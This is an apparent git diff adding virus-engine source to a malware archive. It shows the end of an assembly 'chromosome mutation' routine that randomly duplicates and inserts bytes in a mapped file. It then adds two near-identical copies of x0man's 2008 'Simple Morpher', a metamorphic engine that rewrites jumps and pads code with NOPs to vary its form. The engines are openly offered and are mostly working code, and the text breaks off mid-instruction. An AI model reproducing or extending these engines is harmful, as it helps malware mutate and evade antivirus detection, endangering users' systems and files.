jmp endofmutation
|
||||
|
||||
chrom_dublication:
|
||||
invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with another size
|
||||
invoke CloseHandle, [map_handle] ; Close Map-Handle
|
||||
|
||||
call random_number ; Get a random number
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [rand_name_buffer] ; cl=random number
|
||||
and cl, 7 ; cl=0000 0???
|
||||
mov [change_byte_value], cl ; Save the random number
|
||||
|
||||
add ecx, [file_size] ; ecx=New filesize
|
||||
mov [file_size], ecx ; Save new filesize
|
||||
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0
|
||||
mov [map_handle], eax
|
||||
|
||||
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]
|
||||
mov [map_pointer], eax
|
||||
|
||||
chrom_dubl_loop1:
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 8 ; ebx-=8
|
||||
cmp eax, ebx ; comparee Random number with Filesize
|
||||
jg chrom_dubl_loop1 ; If RN>Filesize-8 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; eax=Pointer to changing part
|
||||
mov [change_byte_offset], eax ; Save the offset
|
||||
|
||||
mov ecx, [map_pointer] ; ecx=Start of file in memory
|
||||
add ecx, [file_size] ; ecx=End of file in memory
|
||||
|
||||
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
|
||||
xor eax, eax ; eax=0
|
||||
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||
sub ecx, eax ; ecx-=number of bytes to change
|
||||
|
||||
mov esi, [change_byte_offset] ; esi=Offset of changing
|
||||
mov edi, [change_byte_offset] ; edi=offset of changing
|
||||
add edi, eax ; edi=Offset after changing
|
||||
|
||||
chrom_dubl_buffer: ; Make a buffer
|
||||
mov al, [esi+ecx] ; al=Value to Replace
|
||||
mov [edi+ecx], al ; Save al
|
||||
loop chrom_dubl_buffer
|
||||
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [change_byte_value] ; ecx=lenght of string to dublicate
|
||||
mov esi, [change_byte_offset] ; From
|
||||
mov edi, [change_byte_offset] ; To
|
||||
add edi, ecx ; Offset of buffer
|
||||
rep movsb
|
||||
|
||||
; invoke MessageBox, 0x0, "Dublication", "Chromosome Mutation", 0x0
|
||||
jmp endofmutation
|
||||
|
||||
|
||||
chrom_inseration:
|
||||
invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with anothe size
|
||||
invoke CloseHandle, [map_handle] ; Close Map-Handle
|
||||
|
||||
call random_number ; Get a random number
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [rand_name_buffer] ; cl=random number
|
||||
and cl, 7 ; cl=0000 0???
|
||||
mov [change_byte_value], cl ; Save the random number
|
||||
|
||||
add ecx, [file_size] ; ecx=New filesize
|
||||
mov [file_size], ecx ; Save new filesize
|
||||
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0
|
||||
mov [map_handle], eax
|
||||
|
||||
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]
|
||||
mov [map_pointer], eax
|
||||
|
||||
chrom_inser_loop1:
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 8 ; ebx-=8
|
||||
cmp eax, ebx ; comparee Random number with Filesize
|
||||
jg chrom_inser_loop1 ; If RN>Filesize-8 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; eax=Pointer to changing part
|
||||
mov [change_byte_offset], eax ; Save the offset
|
||||
|
||||
mov esi, [change_byte_offset] ; esi=Offset to get the new part
|
||||
mov edi, rand_name_buffer ; edi=where to save
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [change_byte_value] ; ecx=How many bytes
|
||||
rep movsb ; Save the part.
|
||||
|
||||
chrom_inser_loop2:
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 8 ; ebx-=8
|
||||
cmp eax, ebx ; Compare Random number with Filesize
|
||||
jg chrom_inser_loop2 ; If RN>Filesize-8 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; eax=Pointer to changing part
|
||||
mov [change_byte_offset], eax ; Save the offset
|
||||
|
||||
mov ecx, [map_pointer] ; ecx=Start of file in memory
|
||||
add ecx, [file_size] ; ecx=End of file in memory
|
||||
|
||||
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
|
||||
xor eax, eax ; eax=0
|
||||
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||
sub ecx, eax ; ecx-=number of bytes to change
|
||||
|
||||
mov esi, [change_byte_offset] ; esi=Offset of changing
|
||||
mov edi, [change_byte_offset] ; edi=offset of changing
|
||||
add edi, eax ; edi=Offset after changing
|
||||
|
||||
chrom_inser_buffer: ; Make a buffer
|
||||
mov al, [esi+ecx] ; al=Value to Replace
|
||||
mov [edi+ecx], al ; Save al
|
||||
loop chrom_inser_buffer
|
||||
|
||||
mov esi, rand_name_buffer ; esi=source
|
||||
mov edi, [change_byte_offset] ; edi=destination
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [change_byte_value] ; ecx=length
|
||||
rep movsb ; Write saved part to the new place
|
||||
|
||||
; invoke MessageBox, 0x0, "Inseration", "Chromosome Mutation", 0x0
|
||||
jmp endofmutation
|
||||
|
||||
.end start
|
2812
Engines/Virus.Win32.Ipe32.txt
Normal file
2812
Engines/Virus.Win32.Ipe32.txt
Normal file
File diff suppressed because it is too large
Load Diff
BIN
Engines/Virus.Win32.Kpasm.7z
Normal file
BIN
Engines/Virus.Win32.Kpasm.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Kpasm.English.pdf
Normal file
BIN
Engines/Virus.Win32.Kpasm.English.pdf
Normal file
Binary file not shown.
510
Engines/Virus.Win32.Morpher.a.asm
Normal file
510
Engines/Virus.Win32.Morpher.a.asm
Normal file
@ -0,0 +1,510 @@
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Simple Morpher v.0.1 :
|
||||
; :
|
||||
; x0man © 2008 :
|
||||
; :
|
||||
; http://www.virustech.org/ :
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
;-----------------------------------------------------------------------------------------:
|
||||
; :
|
||||
;В Кратце расскажу алгоритм, который у меня реализован. :
|
||||
; :
|
||||
;Есть массив в который заносятся данные о инструкциях :
|
||||
;Одним эллементом массива является: :
|
||||
; :
|
||||
;_OPCODE struct; :
|
||||
; dwOldAddress dd ? ; Старый адрес инструкции (до морфинга) :
|
||||
; dwNewAddress dd ? ; Новый адрес инструкции (после морфинга) :
|
||||
; dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов) :
|
||||
; ; (если инструкция им является) :
|
||||
; dwLength dd ? ; в данном примере эта переменная не используется :
|
||||
; ; Надеюсь вам она пригодиться больше чем мне :) :
|
||||
;_OPCODE ends :
|
||||
; :
|
||||
;В "мой" Первый этап входит :
|
||||
; 1. Парсинг кода, и выделение на каждую инструкцию одного :
|
||||
; эллемента массива, заполняя данные в структуре _OPCODE. :
|
||||
; 2. Расширение кода для будущих изменений (замена коротких прыжков на длинные) :
|
||||
; 3. Если инструкция является прыжком или вызовом, нам нужно :
|
||||
; подсчитать скажем так EIP при выполнении оной. :
|
||||
; 4. И есстественно разбавление кода (инструкцией NOP) :
|
||||
; :
|
||||
;Второй этап :
|
||||
; 1. Проходимся по массиву с описаниями инструкций :
|
||||
; 2. Если инструкция является вызовом, то вычисляем параметр у прыжка :
|
||||
; или вызова, и меняем его на корректный(уже в изменённом коде). :
|
||||
; :
|
||||
; :
|
||||
;Вроде бы всё... для более точных описаний смотрим код! :
|
||||
; :
|
||||
;Дизассемблер длинн инструкций я взял Catchy_32, который можно скачать с :
|
||||
; http://www.wasm.ru, он также прилагается к исходникам в приложении. :
|
||||
; :
|
||||
;GreeTz: :
|
||||
; Osen :
|
||||
; izee [ EOF-Project ] http://eof-project.net/ :
|
||||
; :
|
||||
; tPORt (http://www.tport.org/) :
|
||||
; REVENGE(http://www.revenge-crew.com/) :
|
||||
; TLG (http://tlg.astalavista.ms/) :
|
||||
; TSRh (http://tsrh.org.ua/) :
|
||||
; TPOC (http://vx.netlux.org/tpoc/) :
|
||||
; :
|
||||
; :
|
||||
; Спасибо за внимание! :
|
||||
; :
|
||||
; 10.05.2008 :
|
||||
; x0man [VirusTech] :
|
||||
; http://www.virustech.org :
|
||||
;-----------------------------------------------------------------------------------------:
|
||||
|
||||
.386
|
||||
.model flat, stdcall
|
||||
option casemap :none
|
||||
|
||||
include \MASM32\INCLUDE\windows.inc
|
||||
include \MASM32\INCLUDE\kernel32.inc
|
||||
include \MASM32\INCLUDE\user32.inc
|
||||
|
||||
includelib \MASM32\LIB\kernel32.lib
|
||||
includelib \MASM32\LIB\user32.lib
|
||||
|
||||
; #########################################################################
|
||||
|
||||
_OPCODE struct
|
||||
dwOldAddress dd ? ; Старый адрес инструкции (до морфинга)
|
||||
dwNewAddress dd ? ; Новый адрес инструкции (после морфинга)
|
||||
dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов)
|
||||
; (если инструкция им является)
|
||||
dwLength dd ? ; в данном примере эта переменная не используется
|
||||
; Надеюсь вам она пригодиться больше чем мне :)
|
||||
_OPCODE ends
|
||||
|
||||
; #########################################################################
|
||||
|
||||
.code
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Код для теста :)
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
test_code:
|
||||
@@:
|
||||
jmp @F
|
||||
mov eax, edx
|
||||
pop eax
|
||||
push eax
|
||||
call @F
|
||||
cmp eax, 0
|
||||
jne @B
|
||||
jmp @B
|
||||
add ecx, edx
|
||||
add eax, edx
|
||||
xchg edx, ecx
|
||||
call @B
|
||||
jne @F
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
jne @B
|
||||
ret
|
||||
@@:
|
||||
ret
|
||||
int 3
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::
|
||||
; Подключим дизасм длинн инструкций
|
||||
include Catchy32\Catchy32.inc
|
||||
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; Функция для подсчёта числа, куда должен указывать прыжок|
|
||||
; Пример: dwCurrentAddress - указывает на код |
|
||||
; |
|
||||
; 00000000: 74 30 JE imm8 |
|
||||
; эта функция высчитывает "imm8" |
|
||||
; в нашем примере imm8 = 00000000 + 30 + 2 = 00000032 |
|
||||
; т.е. |
|
||||
; 00000000 - Текущий адрес |
|
||||
; 30 - Параметр |
|
||||
; 2 - Длинна инструкции JE imm8 |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; 00000000: 74 30 JE 00000032 --. |
|
||||
; 00000002: | |
|
||||
; | |
|
||||
; 00000032: <-----° |
|
||||
; Это описание для "положительных" прыжков |
|
||||
; Для отрицательных, попробуйте разобрать сами |
|
||||
; там не сложно ;-) |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::|
|
||||
; IN dwCurrentAddress : текущий адрес предпологаемого прыжка |
|
||||
; OUT EAX : Адрес куда прыжок указывает |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
get_jump_address proc dwCurrentAddress : DWORD
|
||||
|
||||
push ecx
|
||||
push edi
|
||||
|
||||
mov edi, dwCurrentAddress
|
||||
mov al, byte ptr [edi]
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; XX imm8
|
||||
cmp al, 070h
|
||||
jl @F
|
||||
cmp al, 07Fh
|
||||
jna @_jump_imm8_
|
||||
|
||||
@@:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
cmp al, 0EBh
|
||||
je @_jump_uncond_imm8_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; 0F XX imm32
|
||||
cmp al, 00Fh
|
||||
jne @F
|
||||
mov ah, byte ptr [edi + 1]
|
||||
cmp ah, 080h
|
||||
jl @F
|
||||
cmp ah, 08Fh
|
||||
jna @_jump_imm32_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@@:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; JMP imm32
|
||||
cmp al, 0E9h
|
||||
je @_jump_uncond_imm32_
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; CALL
|
||||
cmp al, 0E8h
|
||||
je @_call_imm32_
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
jmp @_exit_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@_jump_imm8_:
|
||||
@_jump_uncond_imm8_:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Короткие прыжки
|
||||
movzx eax, byte ptr [edi + 1]
|
||||
mov cl, al
|
||||
test cl, 10000000b ; isNegative?
|
||||
|
||||
jnz @_neg_1
|
||||
add edi, eax
|
||||
add edi, 2
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
|
||||
@_neg_1:
|
||||
neg al
|
||||
sub al, 2
|
||||
sub edi, eax
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
|
||||
|
||||
@_jump_imm32_:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Длинные прыжки
|
||||
mov eax, dword ptr [edi + 2]
|
||||
mov ecx, eax
|
||||
shr ecx, 24d
|
||||
test ecx, 10000000b ; isNegative?
|
||||
|
||||
jnz @_neg_2
|
||||
add eax, edi
|
||||
add eax, 6
|
||||
jmp @_exit_
|
||||
|
||||
@_neg_2:
|
||||
neg eax
|
||||
sub eax, 6
|
||||
sub edi, eax
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
|
||||
@_jump_uncond_imm32_:
|
||||
@_call_imm32_:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; JMP imm32 & CALL imm32
|
||||
mov eax, dword ptr [edi + 1]
|
||||
mov ecx, eax
|
||||
shr ecx, 24d
|
||||
test ecx, 10000000b ; isNegative?
|
||||
|
||||
jnz @_neg_3
|
||||
add edi, eax
|
||||
add edi, 5
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
|
||||
@_neg_3:
|
||||
neg eax
|
||||
sub eax, 5
|
||||
sub edi, eax
|
||||
xchg eax, edi
|
||||
;///////////////////////////////////////
|
||||
@_exit_:
|
||||
|
||||
pop edi
|
||||
pop ecx
|
||||
|
||||
ret
|
||||
get_jump_address endp
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; Функция для поиска в массиве описаний инструкций |
|
||||
; Нового адреса для прыжка.... |
|
||||
; |
|
||||
; IN dwAddress - Адрес прыжка |
|
||||
; IN pOpcodes - Указатель на массив с описаниями опкодов |
|
||||
; OUT EAX - Новый адрес прыжка... |
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD
|
||||
push ecx
|
||||
|
||||
assume ecx : ptr _OPCODE
|
||||
mov ecx, pOpcodes
|
||||
mov eax, dwAddress
|
||||
|
||||
@@:
|
||||
cmp [ecx].dwOldAddress, eax
|
||||
je @F
|
||||
add ecx, sizeof _OPCODE
|
||||
cmp [ecx].dwOldAddress, 0
|
||||
jne @B
|
||||
xor eax, eax
|
||||
@@:
|
||||
mov eax, [ecx].dwNewAddress
|
||||
|
||||
pop ecx
|
||||
ret
|
||||
get_new_jump_address endp
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; Функция разбавляет определённый код, инструкцией NOP |
|
||||
; ВАЖНО! Код должен заканчиваться опкодом 0CCh |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; IN dwCodeAddress - Адрес кода для морфинга |
|
||||
; IN dwOutputBuffer - Адрес куда будет занесён проморфленный код |
|
||||
; OUT EAX - Размер проморфленного кода |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
MorphCode proc dwCodeAddress : DWORD, dwOutputBuffer : DWORD
|
||||
local pOpcodes : DWORD
|
||||
local dwTotalCodeSize : DWORD
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; pOpcodes - Указатель на описания опкодов ::
|
||||
; dwOutputBuffer - Проморфленный код ::
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Зарезервируем памяти для массива с описаниям инструкций
|
||||
invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
|
||||
mov pOpcodes, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Обнулим переменную в которую будем заносить
|
||||
; Общий размер кода
|
||||
push 0
|
||||
pop dwTotalCodeSize
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::
|
||||
; Без комментариев
|
||||
assume ecx : ptr _OPCODE
|
||||
mov esi, dwCodeAddress ; Code Address
|
||||
mov edi, dwOutputBuffer ; New Code Address
|
||||
mov ecx, pOpcodes ; array of _OPCODES
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Первый этап :::::::::::::::::::::::::::
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Укажем для первой инструкции её новый адрес что в EDI
|
||||
mov [ecx].dwNewAddress, edi
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Начинаем цикл
|
||||
; Loop 1
|
||||
@_loop_1:
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Узнаем длинну у инструкции
|
||||
; IN ESI == Current Code Offset
|
||||
; OUT EAX == Instruction Length
|
||||
call c_Catchy
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Занесём данные в массив с описаниями
|
||||
mov [ecx].dwOldAddress, esi
|
||||
mov [ecx].dwLength, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Короткие условные прыжки меняем на длинные
|
||||
; Они отличаются от длинных префиксом 00Fh
|
||||
; в начале и +10h к текущему опкоду прыжка
|
||||
; Пример:
|
||||
; Было :00000000: 74 30
|
||||
; 0F +10 30 00 00 00
|
||||
; Стало:00000000: 0F 84 30 00 00 00
|
||||
cmp byte ptr [esi], 070h
|
||||
jl @F
|
||||
cmp byte ptr [esi], 07Fh
|
||||
ja @F
|
||||
push eax
|
||||
mov al, 00Fh
|
||||
stosb
|
||||
|
||||
movzx eax, byte ptr [esi]
|
||||
add eax, 10h
|
||||
stosd
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::
|
||||
; Подсчитаем адрес куда указывает прыжок
|
||||
push esi
|
||||
call get_jump_address
|
||||
|
||||
;::::::::::::::::::::::::
|
||||
; Занесём данные в массив
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
|
||||
pop eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Прибавим к общему размеру кода
|
||||
; Длинну 00Fh XXh imm32, т.е. число 6
|
||||
; где XX » [80h..8Fh]
|
||||
add dwTotalCodeSize, 6
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Пропустим перенос маленького прыжка
|
||||
; Переходим к следующей инструкции
|
||||
jmp @_next_inst_
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Меняем...
|
||||
; JMP imm8 -> JMP imm32
|
||||
; Пример
|
||||
; Было : 00000000: EB 33
|
||||
; Стало: 00000000: E9 33 00 00 00
|
||||
cmp byte ptr [esi], 0EBh
|
||||
jne @F
|
||||
push eax
|
||||
|
||||
mov al, 0E9h
|
||||
stosb
|
||||
xor eax, eax
|
||||
stosd
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::
|
||||
; Подсчитаем адрес куда указывает прыжок
|
||||
push esi
|
||||
call get_jump_address
|
||||
|
||||
;::::::::::::::::::::::::
|
||||
; Занесём данные в массив
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
|
||||
pop eax
|
||||
;:::::::::::::::::::::::::::::::
|
||||
; Прибавим к общему размеру кода
|
||||
; Длинну E9 imm32, т.е. число 5
|
||||
add dwTotalCodeSize, 5
|
||||
jmp @_next_inst_
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Проверим на JMP imm32
|
||||
cmp byte ptr [esi], 0E9h
|
||||
jne @F
|
||||
|
||||
push eax
|
||||
push esi
|
||||
call get_jump_address
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
pop eax
|
||||
jmp @_replace_instr_
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Проверим на CALL
|
||||
cmp byte ptr [esi], 0E8h
|
||||
jne @F
|
||||
|
||||
push eax
|
||||
push esi
|
||||
call get_jump_address
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
pop eax
|
||||
jmp @_replace_instr_
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; 00Fh XX imm32
|
||||
cmp byte ptr [esi], 00Fh
|
||||
jne @F
|
||||
cmp byte ptr [esi + 1], 080h
|
||||
jl @F
|
||||
cmp byte ptr [esi + 1], 08Fh
|
||||
ja @F
|
||||
push eax
|
||||
push esi
|
||||
call get_jump_address
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
pop eax
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@@:
|
||||
|
||||
@_replace_instr_:
|
||||
;::::::::::::::::::::::::::::::::::::::::::
|
||||
; Переносим инструкцию в новый буффер.
|
||||
; Этот код выполниться в том случае
|
||||
; Если мы не меняли оригинальные инструкции
|
||||
push esi
|
||||
push ecx
|
||||
|
||||
mov ecx, eax
|
||||
rep movsb
|
||||
|
||||
pop ecx
|
||||
pop e
|
758
Engines/Virus.Win32.Morpher.b.asm
Normal file
758
Engines/Virus.Win32.Morpher.b.asm
Normal file
@ -0,0 +1,758 @@
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Simple Morpher v.0.1 :
|
||||
; :
|
||||
; x0man © 2008 :
|
||||
; :
|
||||
; http://www.virustech.org/ :
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
;-----------------------------------------------------------------------------------------:
|
||||
; :
|
||||
;В Кратце расскажу алгоритм, который у меня реализован. :
|
||||
; :
|
||||
;Есть массив в который заносятся данные о инструкциях :
|
||||
;Одним эллементом массива является: :
|
||||
; :
|
||||
;_OPCODE struct; :
|
||||
; dwOldAddress dd ? ; Старый адрес инструкции (до морфинга) :
|
||||
; dwNewAddress dd ? ; Новый адрес инструкции (после морфинга) :
|
||||
; dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов) :
|
||||
; ; (если инструкция им является) :
|
||||
; dwLength dd ? ; в данном примере эта переменная не используется :
|
||||
; ; Надеюсь вам она пригодиться больше чем мне :) :
|
||||
;_OPCODE ends :
|
||||
; :
|
||||
;В "мой" Первый этап входит :
|
||||
; 1. Парсинг кода, и выделение на каждую инструкцию одного :
|
||||
; эллемента массива, заполняя данные в структуре _OPCODE. :
|
||||
; 2. Расширение кода для будущих изменений (замена коротких прыжков на длинные) :
|
||||
; 3. Если инструкция является прыжком или вызовом, нам нужно :
|
||||
; подсчитать скажем так EIP при выполнении оной. :
|
||||
; 4. И есстественно разбавление кода (инструкцией NOP) :
|
||||
; :
|
||||
;Второй этап :
|
||||
; 1. Проходимся по массиву с описаниями инструкций :
|
||||
; 2. Если инструкция является вызовом, то вычисляем параметр у прыжка :
|
||||
; или вызова, и меняем его на корректный(уже в изменённом коде). :
|
||||
; :
|
||||
; :
|
||||
;Вроде бы всё... для более точных описаний смотрим код! :
|
||||
; :
|
||||
;Дизассемблер длинн инструкций я взял Catchy_32, который можно скачать с :
|
||||
; http://www.wasm.ru, он также прилагается к исходникам в приложении. :
|
||||
; :
|
||||
;GreeTz: :
|
||||
; Osen :
|
||||
; izee [ EOF-Project ] http://eof-project.net/ :
|
||||
; :
|
||||
; tPORt (http://www.tport.org/) :
|
||||
; REVENGE(http://www.revenge-crew.com/) :
|
||||
; TLG (http://tlg.astalavista.ms/) :
|
||||
; TSRh (http://tsrh.org.ua/) :
|
||||
; TPOC (http://vx.netlux.org/tpoc/) :
|
||||
; :
|
||||
; :
|
||||
; Спасибо за внимание! :
|
||||
; :
|
||||
; 10.05.2008 :
|
||||
; x0man [VirusTech] :
|
||||
; http://www.virustech.org :
|
||||
;-----------------------------------------------------------------------------------------:
|
||||
|
||||
.386
|
||||
.model flat, stdcall
|
||||
option casemap :none
|
||||
|
||||
include \MASM32\INCLUDE\windows.inc
|
||||
include \MASM32\INCLUDE\kernel32.inc
|
||||
include \MASM32\INCLUDE\user32.inc
|
||||
|
||||
includelib \MASM32\LIB\kernel32.lib
|
||||
includelib \MASM32\LIB\user32.lib
|
||||
|
||||
; #########################################################################
|
||||
|
||||
_OPCODE struct
|
||||
dwOldAddress dd ? ; Старый адрес инструкции (до морфинга)
|
||||
dwNewAddress dd ? ; Новый адрес инструкции (после морфинга)
|
||||
dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов)
|
||||
; (если инструкция им является)
|
||||
dwLength dd ? ; в данном примере эта переменная не используется
|
||||
; Надеюсь вам она пригодиться больше чем мне :)
|
||||
_OPCODE ends
|
||||
|
||||
; #########################################################################
|
||||
|
||||
.code
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Код для теста :)
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
test_code:
|
||||
@@:
|
||||
jmp @F
|
||||
mov eax, edx
|
||||
pop eax
|
||||
push eax
|
||||
call @F
|
||||
cmp eax, 0
|
||||
jne @B
|
||||
jmp @B
|
||||
add ecx, edx
|
||||
add eax, edx
|
||||
xchg edx, ecx
|
||||
call @B
|
||||
jne @F
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
jne @B
|
||||
ret
|
||||
@@:
|
||||
ret
|
||||
int 3
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::
|
||||
; Подключим дизасм длинн инструкций
|
||||
include Catchy32\Catchy32.inc
|
||||
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
